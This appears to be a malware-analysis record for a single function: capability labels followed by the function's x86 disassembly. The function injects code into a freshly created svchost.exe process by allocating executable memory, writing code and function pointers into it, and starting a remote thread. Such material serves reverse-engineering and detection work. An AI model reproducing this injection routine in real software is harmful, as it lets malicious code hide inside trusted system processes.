Function at 0x40d870
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create thread
Execute shellcode via indirect call
Get common file path
Get file attributes
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x44
xor edi, edi
lea eax, [ebp - 0x370]
push edi
push eax
mov esi, ecx
call fcn.00422ed0
add esp, 0xc
push 0xfe
xor ecx, ecx
lea edx, [ebp - 0x107]
push edi
push edx
mov dword [esi], edi
mov dword [ebp - 0x36c], edi
mov dword [ebp - 0x368], edi
mov dword [ebp - 0x364], edi
mov dword [ebp - 0x344], 1
mov word [ebp - 0x340], cx
mov dword [ebp - 0x370], 0x44
mov byte [ebp - 0x108], cl
call fcn.00422ed0
add esp, 0xc
push 0xff
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x108]
push str.WindowsSysWOW64_svchost.exe
push ecx
push 0x43f7dc
mov edx, ecx
mov byte [ebp - 0x105], 0
call fcn.0040ec30
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40d950
lea eax, [ebp - 0x108]
push str.WindowsSystem32_svchost.exe
push eax
push 0x43f7dc
mov edx, eax
mov byte [ebp - 0x105], 0
call fcn.0040ec30
add esp, 0xc
push esi
lea ecx, [ebp - 0x370]
push ecx
push edi
push edi
push 0x214
push edi
push edi
push edi
lea edx, [ebp - 0x108]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40d987
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret
call fcn.0040d7d0
test eax, eax
jne 0x40d974
mov eax, dword [esi + 8]
push eax
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x40d974
push 0x118
lea ecx, [ebp - 0x320]
push edi
push ecx
call fcn.00422ed0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push 0x43f804
push str.Kernel32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x43f820
push str.Kernel32.dll
mov dword [ebp - 0x31c], eax
call ebx
push eax
call edi
push 0x43f82c
push str.Kernel32.dll
mov dword [ebp - 0x318], eax
call ebx
push eax
call edi
push 0x43f834
push str.Kernel32.dll
mov dword [ebp - 0x320], eax
call ebx
push eax
call edi
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
push 0xf8
mov dword [ebp - 0x310], eax
push edx
lea eax, [ebp - 0x206]
push eax
mov word [ebp - 0x208], dx
call fcn.00422ed0
add esp, 0xc
push 0xfa
lea ecx, [ebp - 0x208]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x208]
push edx
push 0x43f848
lea edx, [ebp - 0x308]
call fcn.0040ec30
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 8
push 0x40
push 0x3000
push 0x118
push 0
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x40d974
push 0
push 0x118
lea eax, [ebp - 0x320]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40d974
lea ecx, [ebp - 0x324]
push ecx
push 1
push 0x118
push ebx
push esi
mov dword [ebp - 0x324], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call edi
mov edi, eax
test edi, edi
je 0x40d974
push 0
push 0x1000
push 0x40d780
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40d974
lea edx, [ebp - 0x324]
push edx
push 1
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 4
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x328], eax
test eax, eax
je 0x40d974
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x324]
push eax
push 0x40
push 0x118
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push esi
call ebx
lea ecx, [ebp - 0x324]
push ecx
push 0x40
push 0x1000
push edi
push esi
call ebx
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret